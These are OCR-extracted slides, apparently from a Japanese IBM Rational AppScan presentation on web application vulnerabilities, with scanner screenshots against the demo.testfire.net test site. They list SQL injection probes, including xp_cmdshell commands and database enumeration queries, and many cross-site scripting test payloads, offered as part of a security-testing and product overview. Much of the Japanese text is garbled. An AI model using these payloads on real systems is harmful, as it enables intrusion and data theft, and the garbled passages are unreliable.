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= SQLA>TxU<3aY (SQL Injection)

= JARYARRIYTT42%4 (Cross-Site Scripting — XSS)

= INTA—RDRE (Parameter Tampering)

= HiddenZ4— )L DA IE#4E (Hidden Field Manipulation)

= JvF%—DEF (Cookie Poisoning)

= /\wI7A—s\—2770— (Buffer Overflow)

= & TS5 (Forceful Browsing)

= ATILAOT Uk (Stealth Command)

= INYIRT (T I\wT AT 327 E) (Debug Option and Backdoor)
= BREIRAPCERAMOMEEEZFIA (Know Vulnerability)
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SQL f>oxiay

SELECT * FROM users WHERE
username='jsmith' AND password=" OR '1' = '1"

B ONLINE BANKING LOGIN PERSOMAL SMALL BUSTHESS IMNSIDE ALl

PERSOMAL

S Online Banking Login

Usernarne: |j5|‘|‘|it|‘| |

=
. I t te &1 1 41 ]
”””””””””””””””” Password:  [HRKKKRRKAKKKK sl OR 1 — 1
o Other Services
SMALL BUSIMESS
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3 Altoro Mutual: Online Bankine Home — Microsoft Internet Explorer

B REE FTW BREADE D AT

0= 0 NAGR D

P PELAD |@ http:/flocalhost bank  mainasps

Sign Off | Contackt Us | Feedback | Search

AltoroMutual

B MY ACCOUNT PERSOMAL SMALL BUSTMESS IMNSIDE ALl

IWANTTO ...

View Account Surnrnary HEII“}" Juhn Smith

Wiew Recent Transactions

Transfer Funds
Search Mews Aricles

Custornize Site Language

Welcorme to Altoro Mutual Online,

View Account Details: 1001160140 Checking v [ Go

Congratulations!

You have been pre-approved for an Altaro Gold Visa with a credit limit of $10000,00!

Click Here to apply.
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SQL 1o x9i3y TARNI—2 (

Cookie ®ERTE SOL 3 1Hgs
- [ Cookie M{EELIFOLICSRELES
- [ Cookie M{EELATFOESZSEELET Y
- [ Cookie MiEELATFOESZSRELET:
- [ Cookie D{EELAFOESCSRELES: "
- [ Cookie MiEELLFOESZSRELETE
- [ Cookie M{EELAFOEIISRELETE )
HTTR Aot =0 SOLA 3 10390,
[ HTTP '2-Fowarded-For' AoaSMiE&L o3 ELES:
[ HTTP “#-Fowarded-For' Ao @ TiEELA FICEELES: w7
[ HTTP “#-Fowarded-For' ~oaS M EELA FICFE LTS w527
[ HTTP '#-Fowarded-For' ~osSMiE %L o3 ELES: "
[ HTTP “#-Fowarded-For' #3 S fEELA FIZFEELET: %c0%a?
[ HTTP ‘Referer’ AopBEELATIIER LET
~F HTTP ‘Referer’ AodMiEELI T CFELES: w7
[ HTTP ‘Referer’ AoMMiEELT (Z3E LET: %2527
[ HTTP 'Referer’ AnSDiERELITFCEE LES: "
A HTTP ‘Referer’ AadMIEELI T (CFE LFT: %el%ar
Probe SCL
SOLA T Tt
- LA A B LA T R R wEh LET
- T A B LA T O3 R %80 LET : having 1=1--
- TS A B LA T O3 FR B LET: 1 having 1=1-
- A A B L T OB F R B LET: V' having 1=1--
- A A B L T OB F R B LET: ) having 1=1--

- D SA B LUF OOrFREEN LES: woFFa7
- D SA B LT O FR R e LEE

[ Append the Following skring ko the ariginal parameter value: %a8" having 1=1--

SOLA LT rhay DT FORT

- Tl A= EC LA T s s LE T
-l A= EC LA T e e LE
-l A= EC LA T e e LE
- Tl ZA B L T R s LE
-0 5QLA wizhigs (=2t — FA - Oracle STk

~O#—-k UATELT OperRowset (M3-50L) BERLE soL- S 1huay

't select @@version,1,1,1--

3 select * from masker, . sysmessages--
3 select * from dbo, swsdatabases--

3 select * from sys,dba_users--

[ T A B LT O3 R BN L3 w20exect20masker, xp_cmdshellt20'val'--

O @IS AR LT O SR %Ehn L3 ) exec master..xp_cmdshell 'echo [param name] in [path] is vulnerable =3 ClappScansCLTest bt (SOL Injection Probe)
- O M Z AR LT O SR %Eh0 L3 exec master, . zp_cmdshell 'echo [param name] in [path] is vulnerable == C\AppScanSQLTest.kxt'-- (SQL Injection Probe)
O 5L D 1R gl £5 090 FOEFT (R— AT — - M3-50L 0Tk
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XSS TR/ NE— (—E])

FUHEE Y 2T = 2ima%e 20src % 3d %2 2javascript alerb{([YARIANT ID]1%22 =
=iy 20530 26 W B3 ha; Yo 2B W 2 3nh 1) Y 2R Y 2 30 T W BB BB 1 W BE W2 3 T 3 Y 2R % 2 3NE S, Y20 Y 23T 2 W EE W 2 DAY Y2 B Y 2 30T
%o 2 2%20sbvle% 30%22background: urljavascript: alert [ MARIAMT ID])%22%200A%30%22

-- = <scriph =alert{ VARIANT ID7) < scriph =

[ORIGIMNAL YALUE]+alert([YARIANT ID]+

[ORIGIMNAL WALUE]%27%2Balert%: 28 WARIANT ID]%29%.2B% 27
[ORIGINAL YALUE]"+alert[¥ARIANT ID])+"

[ORIGIMNAL WALUE]%22%2Balert% 28 VARIANT ID]%29%2B%22
= = ecriph =alerk ([ WARIAMT 1D < scriph =

== scriph =alert([VARIANT ID]) = scripk =

== <% 00script =alertYARIAMT ID]) < scriph =

== at00script =alert[YARIANT 1D 1)</ scriph =

"= <STYLE =@import"javascript: alertWARIANT ID])"; </STYLE >
"= 2 [TFRAME = =script =aler b [WARIANT ID]) < scripk =

"= 2 fsbyle = <script ralert[WARIAMT ID7]) < scripk =

"= ftikle = < soript =alert([VARIANT ID])</scripk =

o003 scriptu003Ealertuo0za[YaRIANT ID L0029 u00SC scriptud0sE

<[ Texkireas<script =alerk([WARIANT IDT) < scriph =
=+ACI-+AD4APE-SCRIPT+HADT-alert{ 1234+ ADz-[SCRIPT+ADT-
=+ACI-+AD4APE-SCRIPT+HADT-alert(12340+A0z-[SCRIPT+ADT-
ontMousedver=alert(WARIANT ID]) =<
Yo 720 anMauseyver=alert([WARIANT ID]) =<
%22 %20 onMousetver=alert{{VARIANT ID])=<
[ORIGINAL YALUE]+alert{[YARIANT D]+

ol T e A2 BE Y B Ve F 3T E3 Y F 2 E 9% PO P S Be % E L HE T ES e P2 e P4 % A0 VAR IANT ID] %A% B YAl 2 F 3% E3 Y F2 % E9%:FO%:F4 %6

[ ORIGIMAL YALUE]% 22 )% 0d% 0aslert[WARTANT ID])%:27
<script =alert{[MARIAMT I07) < scripk =
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=

= Watchfire CBT
» "Web Application Security Hacking 101"
= Watchfire R7 A b R—/\—

y T7T)r—232 LRNILTHO—REII7E 12 FEBEED /N H—KE |
https://www.watchfire.com/securearea/whitepapers.aspx?id=83

= SMERIEER

» WASC BRD ¥R
http://www.webappsec.org/projects/threat/
» OWASP
http://www.owasp.org/index.php/ OWASP_Top_Ten_Project
» IPA
http://www.ipa.go.jp/security/vuln/20050623 _websecurity.html
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T r—,9% X1 F AN EEIE

Web7 7)) r—avld, Nyh—DRITREFEIN TS
» 75% DHE(EIT T ) r—av B TR OM->TLVS (Gartner)
) XSSESQLAL S THYav(E. HESN T AIBEEO# L42THS (Mitre)

(ZEAEDWebH A HIHESETHS

» 90% DWebH A MET7 T r— 3> DifE5E N EH S (Watchfire)

» 78% DA G IZFIFARIREL M E(X. WebT TUr— 3285 (Symantec)

» 80% DML, 2010FFTIC7 TV r—avtxa) T4EHICEET S (Gartner)

Web7 TUr—avid/Nnvh—IZE->TRED HBE2—4 vk
» BBET—H. LY I—K IDDEEE 58 YA DOHRE., B E

AT SATUADER
» GLBA. HIPAA. FISMA, PClI T—RtXa1T11E# SOX. A AN IEFHFE X
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pid.!

AT

Web 77)r—2av (i d 2N EDEMERS

WEEH TE

Web
T r—3:

SRty
H—/\—

759%, OEHREF1IT HEIE, FTTVr—LavBTRI-TLS
2/3 oWeb7F ) ir—aviE, fiBEELHD

Sources: Gartner
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Web 7)) 5r—a EHEICEIT54tEX2) T4

64% DRAFREF L. X 7HT7T)r—a xEZ{BENELN
Microsoft Developer Research

70% D %(E . SDLC [TEFaTFHBT7 IV r—avcz B -ODHMEREALT
AV A

Aberdeen Group, May 2007

90% D7 TV4r—ay IZIIHESEELRH S
Watchfire
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“HMRICKDFMLRE

SORANEWNOH, REHE ., REGEN R
=Y (%)
SERARREBEOTAMCREY—ERIZEEL

Web 77— 3> 74

BEFEOT7 I ) r—avicwlTL

FIVr—Lav DEHICHSIRERENE

T TV r—av (BT AR
HFRE

Fr—IL TR T4 1t
RYRT—H DR EIZBEAND
BHIRE | AU | EEOBERESWRICEETE | U—XI—FALE
U= RYIR | B ERIC SR TN DI
TSk T — KT DR TE AL
I5vs | SBEICEILI-RE T —L A NEB T BRENHD
Ry X
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AppScan

= Web7 ) r—iay X254 TAMY—)L
» Web7 T 4r—23> DifisEtEE. 12 T75(0S. WebH—/\—%)D
SRESR., BRENDMEEE LN
» TRAMEBEFEL. FEXICEERTERMLZFEEIRNDEBEA AT EE
» MESETEDIEHE. B IEAEDRR. LR—MDERK
» T39Oy IR TR
= INYH—DRATEF21)TsREZHKRE - "Hacker in the box"

= "HERG" MBS D15 - "Low hanging fruits™




IBM Software Group | Rational software

".F - ‘l"""t‘“'l\ e ﬂ"
§ il b o e B

,
- .
, 1 5 a

l i %




| IBM Software Group | Rational software

AX ¥ REDIH - F

F —
URL BETY 320y mmm i —F

URL HLTFH"
o1 8

Axyi BT —F

urRL LU H -1 @ FAFAYY—  Default

oo-(2 B 1
= : A CMTAR A -EFRALET.
Al ohll=
Thiz policy includes all tests A— 294
except invazive and port
lizgtener tests, iR — A
m Default
e
EERIORY Y — 7
E] Defaulk
E] Application-Cnly -

E] Infraskructure-Only

E] Inwasive
L

04 ELTU0ATPOR A-JCEER T AL EEELET T
042 A—TDT ATy AR T ' U LET &

@ N7

A2 AEeERE
o ~F

EBEEENEXTE [tz




| IBM Software Group | Rational software

AppScan 7.7 - ¥+ TH+R/\—K(New)

@ 24 )izl - IBM Rational

JrLE REE R®RT A AF @ =L@ AT W

O H S |02 - Ozt Fv_a715E | KA 3aE § A%y IFAN-F & - By 08 2 | O L#-- & B

ke —
Pl =S =]

FT Q) 7 PR~ AF TXAN—FFHEATY ...
B'g http:/localhozt/ (RENAN ]
LJI_:IJ o 4 FEES: httpe// localhost/altoro /default azpx?eontent=personal_other htm
1115 T8 -3 altoro 2wy TS —F
100 A IHRA)-kE P -2 au B L THEES LU 2D - DE R W - B IR EL T E Y . C
M1 —AME, BREGFL. A5y == At CREC AT E CH I aE R HIELEFT.
Gy ;@5@ WSl B TR RRE AT YALATES Y. 20, AppSom (A AFYY (DEH

FTIE EAE =i, I

L PR |2 8RN BIEE | 9% WITAR LA |

U e em B o=

=

— AXvUNRESHDHRELHE

L
m
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AppScan 7.7 : R Z Ly GUI

V@ demo.testfire.net scan

TP B REE

wn
=9

41T EIRE

BRI

PR T

FTW AXeL 3
O E & O -

(o) = P =g 3

-0 admin €12 0 #§ﬁﬂ8nr I/Z‘I"Jl. SE| )
--ﬁ altoro 1T
:g '.’SZZS E) L) PR |12 saEnaieE | ¢ uiTak LA

Dher
-0 static 113

— IBM Rational

W=l T AT

e I N b Wk 5

FTIE EXE &5, g
5 T=4 PR =2l (21D 11 T RE128 93 (Tt T00)

= @ HTTP LR ASE )

O s0L1han a0

@ KPath 4 Urhugy

O ho2HA FRIT L T

O 1325 DOM = =20A0 24 FRAFT A )
[ Rl e | T L E VL Y]

O 0APIMES T L AME EEN TR

O 041 A=U0 S0L Y gy @

O FHETsROSEEERE O

O ERENEI02A F2ATT A W

http:/ /demotestfirenst/ (07

igh_vield_investmentz hi
earchaspx (20
ErVErerrar aspx
uhscribe aspee 6
ubzcribe swf
urvey_questions aspx

( \m SQLA 32553

S N
EE-E e
# WASC ﬁﬁ@ﬁﬁ:

o5

U A THEA—F P - [E]A% e 0 L

T =gl TAK
v AADET sl ey

[ L=

[

e URL 150/f60

il F@*ﬁﬁk?ﬁ\— E 'Cn 75\6

BEDO#EN: 93

I-— (D?\J']I._d‘st T REX T T
NEFATLL

i3 kL]

wab FFUT —alAd, e S TUFOT — 81— 2HEE
ALTEEDT — 2 D PRSI T S EY
T T —AN—AAGAI—HFTIT et 204
—FOEHES oL T (FELT -A-A AE-C
HTRB DS T LG E e weh FIUT —a
|3 (HTTF VST A SR BN D) 31— — DA NE
ERLT. E0E gaL STV —IZH&AA T e b TF
. e ara a5 S g e v
DO A RV Wl G T =Y PO = M

rB.
-E-Eig

SET LT AR 1500471500

IBM Software Group

SQL Injection

o B

T A= TURUBLUT I ERT E L IIE T eI ANTTE R

EMNERERITLT
RKIRSND

[l e

X274

TRNAFYHBEKREE

2

BTN R @
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AppScan 7.7 - #iEIN BH1E

@ demo_testfire_net.scan — IBM Rational

IED

v 8

- — DA NG A F Lo TIEETELRES, o £ 1
-t — DA T EODLIFIEEN TG ZEERI T 2 T E - T BEORL 2 - Pl —iali

DELDAERETOETERT .
L‘A"FG')}'C?I FH AT THRERL T

LR REE O FT A AR @ WD AT R
O H 9 O - O—miEE FRe1mEs | ZarsmE § e I88-H 0 - Elzder 04 O |[H k-t § T
#=T (@} ¥4 PRy 03 FTIE EAE LB
& 'ih“Djfgmmesﬂ'fenW B Tod P - (BB el T8 02 GRUTL L T
comment.aspx a3l = @ HTTP \/7\1‘1“‘1 El a3 |
= . R =@ =
Rl jfgzrél:;:?stm oy ttp:f/demo.testf\re.netz’bank/account.aspx i} A
fendback a.s x ) ttp:/fdemo.testfire net/bank Aloginaspy 20
high ieh:.l in‘ieslmentshl ttp:/fdemo testiire net/bank Aransactionaspx 20 -
sear_cyhas_x o ) ttp:/Ademo testiire net/bank Aransfer.aspx 20
{BEfEE — http://demo.testfire net/bank Aws asmz 2
e EErVErErroraspx
£ Subscribea‘spx i:H] http:/#demo.testfirenet/subscribe.aspx 1)
subscribesmt @ Path {irhugy )
E = survey_questions.aspx O S024A AT T @ .
PR F o B-ED) admin 1) o 1154 DM f\—mbuz*ﬂ FRRIFT A
SRR 5 A
) altoro
) bank (710
H) images 12
@3 pr
) static )

< BaLaTl
= DA FMHNTETIND Javascript - FORERAS. SEIELAAL - T8 AT L A7IFOETEE. BELGE, @ FET

e =

[2] & (722 THFy
[3]; (2330

[4] % (FILEEE

18] % ¢ -tz b A S

NET. J2EE. PHP [Z¥{EL=BIEFELIRR

A @ (Pt =
7] F Il Fa—hy
| EF I S =ty
@ v ¢ iy P RAS9ial AT —F V8L S —by
[ope i S Seia Tr—d A5 21—y
[11] == (= FA¥EEIl
M7 A A=y
4| I

~

| 2

SIEN R URL 1504150 SET LT A 1500415004

L WTETEE @ W

V18

S @10
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@ demo_testfire.net. scan - IBM Rational

IPTbE REE T W XL E VLD

b

O H & @ - O-wiar Fwoarifs | KaxesiE § ke T8280-F @ - BElrdes 08 2 | il vit-+ & 47

*T @) %A PRAr—say 63

=4 hittp://demotestfirensty ©F
/&

&) commentaspx @)
defaultaspx )
disclaimerhtm (1
feedback.aspz 1}
high_vield_investments i
searchaspx )
servererrar.aspx
subscribe.aspx )
subseribe.swf

survey _questions.aspx
2 admin {13

2 altoro

11321 7128

TEIEPERE

P 7=

=4 -1

5L IE
3l [ZREE 1230 T o FE28 93 03U - 700

FTlE EAE

@ HTTP LAMKLASE 1)
= @ SOl aithuay (0
hittp:/¥dema testfire net/bank Aaccount aspx (1)
http/ demo testfire net/bark /loginaspx 2
hittp:/¥dema testfire net/bank Aransactionaspx 21
hittp:/¥dema testfire net/bank Aransfer aspx (20
hittp:/dema testfire net/bank we.azmy )
hittp://dema testfire net/subscribe.aspx (1)
@ HPath ALiizhuay 1
@ 2028 R FT Al
© /558 DOM A =2DA02H FROFF o
@ I3k Sl LThay 6

A H

B AAECARE [ A%e TEUS-L @) - [Elasen 0f Q[ Lit-b & FE
FTIE AR =it IE

BT PIUr—vav) CEHS D T-0RI88 03 (UL - 700

@ HTTP LAKLR5AE 0
B @ soL Uiy o

2] https//de mo.testfirenet/bank faccountaspx (1)

= httpe/de mo.testfire net/bankAloginaspy: @)
httpe/de mo.testfire net/bank /transaction.aspx (2
2] httpe//de mo.testfire net/bank franster.aspx (20
2] httpe//de mo.testfirenet/bank Ang azmy (2
= hittpe/de mo.testfirenet/subscribe.aspx (1)

2 bank 1)
2 images M

D
5 static 1)

(&) z | % VIIAR LA
B FFHCHRT: BRI Tt T ki

A PRI HEEN S

BIE: @IEEETHOEL
AU | 7Y e s

AT

& @ HPath A Lirhuay A

& @ HOAHA bABTIFoH T

B @ M348 DOM A=2MA0AHA bR FFH (1)
B @ PR s T B

< i @3

71L-ZMAN WEE
[ 205T bank/account.aspx HTTPA.0

Cookie: lang=international; amCreditOfier=CardType; amUserinfo=Userhame, ASPMET _Sessionid
—tlpleSvan pmgmssnd2xhes), smSsssionld=244520224; amlssrld=100115014

Content-Length: 41

Accept: "

Accept-Language: en-LIS

User-Agent: Mozilla/4.0 (compatinle; MSIE 6.0, Wing2)

Host: demotestfire net

Content-Type: applicationd-wyeve-form-urlencodedd

Referer: hitp:fidemo testfire.nethankimain asps

L listAccounts=1001160141%27 +having+1%3D1--
= HTTP/.1 500 Internal Server Error
Content-Length: 5057

= .

close

Pl | rea wmi

Date: Mon, 26 Mo 2007 051545 GMT
o b "

DF:EEE

] S28enk URL 1504150

Tontent-Type: e, charset=CiT-

ADOCTYPE Html PUBLIC "I 3CADTD KHTML 1.0 Transitional /EN" "hittp: s w3 orgTREkbnl 1 DTOMRRmI
Aransitianal ctd"s

<l nins="hitp: w003 org BASAhEMI" sl lang="en" >
<headl id="_ctil_head"><ltle>

Altora Mutusl: Server Error
“ilille=metis Hitp-equiv="Cortent-Type" cortent="texMmi; charset=iso-8859-1"=<link href="_style.css" rel="
stylesheet” lype="texicss” j=<Mheads
<hody style="margin-top:Spe "=

[ T LEFAR 16004716004

L =div id="header" style="marain-bottom: Soe; width: 99%:;"

[ Py | ) seesnaizE | 9% VITAMLARLA |

B ISTRT BRERORE [ vtar TAR KPR @RSSThOELTERE

AU brard SR 1/7 B Fzit L = __"I-—l"fD?‘-"'l

ahk

Or +

- POST bank/account.aspx HTTPA.0

Cookie: lang=international, amCreditOffer=CardType; amUserinfo=Usertlame, ASP.NET _Sessionid
fipleSvan pmamasid2:xhos);, amSessionid=244520224; amllssrld=100116014

Content-Length: 41

Accept: *7

Accept-Language: en-US

User-Agent: Mozillasd .0 {compstitle; MSIE 6.0, Wind2)
Host: demo testfire net

Content-Type: application/z-wyvew-form-urlencoded
Referer: hitp: fidemo testfire netdankimain aspx

- listAccounts=1001160141%2T +having+1%:301 -

AN =239 bD T

= HTTPA. 0 Internal Server Error
Content-Length: 5057

Connection: close

Date: Mon, 26 Mov 2007 08:15:45 GMT
Server: Microsoft-I58.0
X-Powered-By: ASP.NET
X-AspHet-Version: 2.0.50727
Cache-Control: no-cache

Pragma: no-cache

Expires: -1

Content-Type: texthtml, charset=uti-&

=ADOCTYPE kitml PUBLIC "-MASCUDTD ¥HTML 1.0 TranstionalWEN" "hittp: it w3 orgTRAktmI DTOwbbtm
Aransitional ctd"s

<html wmins="http: e w3 orgH 998 khtmi xmklang="en" =
<head ic="_cH0_head"=<title=
Altoro Mutual: Server Error

11 93 BFaIT

= fitle=<meta hitp-equiv="Contert-Type" contert="texthtmi; charset=iso-8859-1"=slink href=". Jstyle css” rel="
stylesheet” type="texticss" f==heac

<hody style="mergin-top: Spg "=

« e

ma gin-bottom: Spo; wicthc 99%;"

P e

1 1 93 EaUTERE

0

8

[

(i 10
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AppScan 7.7 - {181 %

@ 24 LA - IBM Rational E|E|
?

IR REE ST ARG V- D A3l
L) 2 i (O s - (D) =035 FvsaPiFE | RA%iis 2% IRAR-H O - El2%eu 08 P i LA+ §ER

#=T N = Foub—nay @1 FomlE B R
=9 http//dematestfirenet/ @ T P -3 OISIEMEE 6l

a) ! Of:;ent_aspx o O PHEIENE I MHREIAE). BEOIEFEROCLET, 14 - DA NGB B LE, O
. defatasn €7 O 5T HIOT-FESILT, ANU-2BH -0 ALET )
20 T o © 12— PO R EC FE IR MBI R ELET
B ok e ) 0 1-¥-DATNEASHLTELOSTIEEST (1)
B e @ O 001 AERE SR EHBSDYCERLET 1)
eerverenron P W SATODIAY VILAMHERIELET 1)
{EiErEE atbourbomems, @ W Tl MO—ERTHES TR —OREEERL, [EHTERFORT Fe{ LA -IlET
B W BT (LA EL T LERIR LS. O
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IBM Rational AppScan Custom Word Report Fields

Broken URLs

AS:BrokenURLRepeaterStart Start BrokenURL repeater

AS:BrokenURLRepeaterIndex The index of the broken URL

AS:BrokenURLErrorReason The reason for the broken URL

AS:BrokenURLName The broken URL name

AS:BrokenURLRequest The request associated with the URL

AS:BrokenURLCount The total numnber of broken URLs

AS:BrokenURLRepeaterEnd End BrokenURL repeater

Comments

AS:CommentRepeaterStart Start Comment repeater

AS:CommentRepeaterIndex The index of the comment

The total numnber of comments

AS:CommentCount

Field Name AppScan Data
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% AppScan J B

Watchfire AppScan 3

HiRikeE:
gatchfire P41 P AppScan BERH - NCIBELTLOE

s 02500 B By

Dizplaving C¥Program Files¥Watchfire¥8ppScanlogs¥AppScanUpdates.log - -

Update Wergion 7.5.826 for Wednesday, May 16th 2007

Mew Rules:

- SimpleMews printphp SGL hjection
- Caucho Fezin Path Traverzal

- Caucho Rezin Path Disclosure

- Caucho Rezin Path Disclosure

Fule modifications: I_L{- .
. St o . IRE

- Path digclozure in various PHP-bazed applications: Mew wariant

[

Update Wergion 7.5.823 for Monday, May 14th 2007

Mew Rules:

:_II.ITI.I'EIFJEITI;STS wp-Tahle Plugin wptable-buttonphp Remaote File hclusion [ BE#HpdnFET ) ] AL A=) ¢ FAlS G
- Cenzura censuraphp SCL Ihjection

- BunCMS debue_showphp SCIL Injection
- fdobe RoboHelp Crozs-Site Scripting

Fule modifications:

- Microzoft OIS ‘Translate: f Source Code Disclosure: Improved detection
- Microgaft IS ‘Translate: f Source Gode Disclosure: Mew variant
- Login Page SGL Injection: Improved test H%%ﬁ 0) } l/—} Lj?/{)l/é-ﬁ E E%ﬁ

Update “Wergion 7.5.822 for Wednesday, May 9th 2007 |
i | 1T} ] ¥
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AL

OWASP Top 10 2007

OWASP Top 10 2004

SANS Top 20 V5

SANS Top 20 V6

WASC Threat Classification

The Payment Card Industry Data Security Standard (PCI)
NERC CIPC Electricity Sector Security Guidelines
International Standard — ISO 17799

International Standard — ISO 27001

Visa's Payment Application Best Practices

AVTSATUR

PIPED Act

European Directive 1995/46/EC

European Directive 2005/58/EC

Japan's Personal Information Protection Act

Data Protection Act

California Assembly Bill No. 1950 and Senate Bill 1386
Children Online Privacy Protection Act (COPPA)
Electronic Funds and Transfer Act (EFTA)

Freedom of Information and Protection of Privacy Act (FIPPA)
Federal Information Security Mgmt. Act (FISMA)
Financial Services (GLBA)

Healthcare Services (HIPAA)

Management of Information Security Technology (MITS)
NERC Cyber Security Standards

Privacy Act of 1974

Safe Harbor

Sarbanes—Oxley Act (SOX)

The Securities Act

Title 21 Code of Federal Regulations

DCID 6/3 Availability Basic

DCID 6/3 Availability Medium

DCID 6/3 Availability High

DCID 6/3 Confidentiality Regs Protection Level 1
DCID 6/3 Confidentiality Regs Protection Level 2
DCID 6/3 Confidentiality Regs Protection Level 3
DCID 6/3 Confidentiality Regs Protection Level 4
DCID 6/3 Confidentiality Regs Protection Level 5
DCID 6/3 Integrity Basic

DCID 6/3 Integrity Medium

DCID 6/3 Integrity High

DCID 6/3 Securing Advanced Technology IS
MasterCard SDP

Visa CISP

Basel II

Family Education Rights and Privacy Act (FERPA)
NIST Special Publication 800-53



| IBM Software Group | Rational software

AppScan - Pyscan TOX T3>

% Scanfile—localhost—7 5 831-default—-auto scan — Watchfire AppScan

I B REE FTA AFew G - @ AT

O @ H @ Ooses - OEE FwoarniEs | s s Elaser ol 2l L#-+ & FoR

==

)

() 74 Py =g B0

Bq http:#flocalhast @00

..... FaRH]

- ceiexe )

| comment.aspx 4

= defaultazpx )

e dizclaimerhtm

[ feedback aspx 13

- searchaspx &)

- subscribe.swf

----- survey_questions.aspx
) _private (13
B0 _wtibin 30
FIC) wtionf O3
B vtilog 0
E-C3) wtipyt
BT wtitet 10
=
=
=
4
4
4

H-107) admin €13
H-100) bank, @7
4123 bin 112

13 iishelp {10
400 images )
#1000 scripts (30

FTlE EAE ek, I

5 T2 PR =] (ZBUE TR 10T 5958 20 U7k 264

FEEEEEREEE®

W TRAGE B0 TRAGK HTTP Auks kg 1)

m

O HTTP LA AE] )

@ Microzoft ASP.MET Cross-Site Scripting ©13
SQLA s hugs (7

WS_FTP.loe 0774 Ndre)—2 J—-FRAT 2
WPath o i than )

HOAMA A I T @

it 0 LRCTA T L S TE WY,

08 o A —25D SQLA W3 thagss 2
FBETskl0 4 EMERE 0

s TR E-| Jv ko O

O B Null S+ e LDERE )

W Link Injection 3

T T A RM—EERE (1)

Pyscan

Eil=  Edit Debug Options MWindows Help

W TERAHY |2 ieanaiEsE | g% UhT 2R LA

\m HTTP L 2t 2458

= AR =

- E o Anplication-level ted
i WASC HERD 3. o {H[EE

x> printIssues|)

HTTF L2 422 5 E

Microsoft ASP.NET Cross-3ite Scripting
SQLA VPl gly

W3 _FTP.log M7 7 )Lmiiws—3 3- FRET
XPath « ¥ 12

SRAAYA FALUITAT

e B BV C-Te) P RS S b N

QG =30 3oL W 2l
FHleTee 0 S 2 EIAE

EREFHNUE-F o7 FOET

BH Null A DA OERE

Link Injection

TRALCE & L T4 TRACE HTTP #'J -« FHEH
T lZ O —EIER

BEEiban TGSy DER
HEZ 7 ILDEE

IIS localstart.asp ~OfE Sk U
Microsoft ASP.NET T )5« GiEh
US_FTP.LOG DEHIER

THOL FOTENEO 2 F 2L

FTFUS -3l I3-

H— =N ARATORECD L) A - DEER
try i @B EER
BEEEFNTLHLUIAD—F 13-4
FFedily  VIEWSTATE JiS 4 — 4

ma L= bz fummtxn T B0

AYVYTETE

M5 AppScan A7 OMZT7 O A\ EE

|

DAEREIRET D

- e —RNTEFRT

tTF2 VT TREBESNTLIEL BHTITP U o FHENH

BEEE3INTLiMLY _ VIEVSTATE JiSH — A&
FETODT 0 L2 UEHRD
55 |

BHEE)

|>

<

Ln: 129|Cal: 4




| IBM Software Group | Rational software

AppScan - TA)—7v T T—k

% AppScan J B

Watchfire AppScan 3

HiRikeE:
gatchfire P41 P AppScan BERH - NCIBELTLOE

s 02500 B By

Dizplaving C¥Program Files¥Watchfire¥8ppScanlogs¥AppScanUpdates.log - -
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- SimpleMews printphp SGL hjection
- Caucho Fezin Path Traverzal

- Caucho Rezin Path Disclosure

- Caucho Rezin Path Disclosure

Fule modifications: I_L{- .
. St o . IRE

- Path digclozure in various PHP-bazed applications: Mew wariant
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Update Wergion 7.5.823 for Monday, May 14th 2007

Mew Rules:
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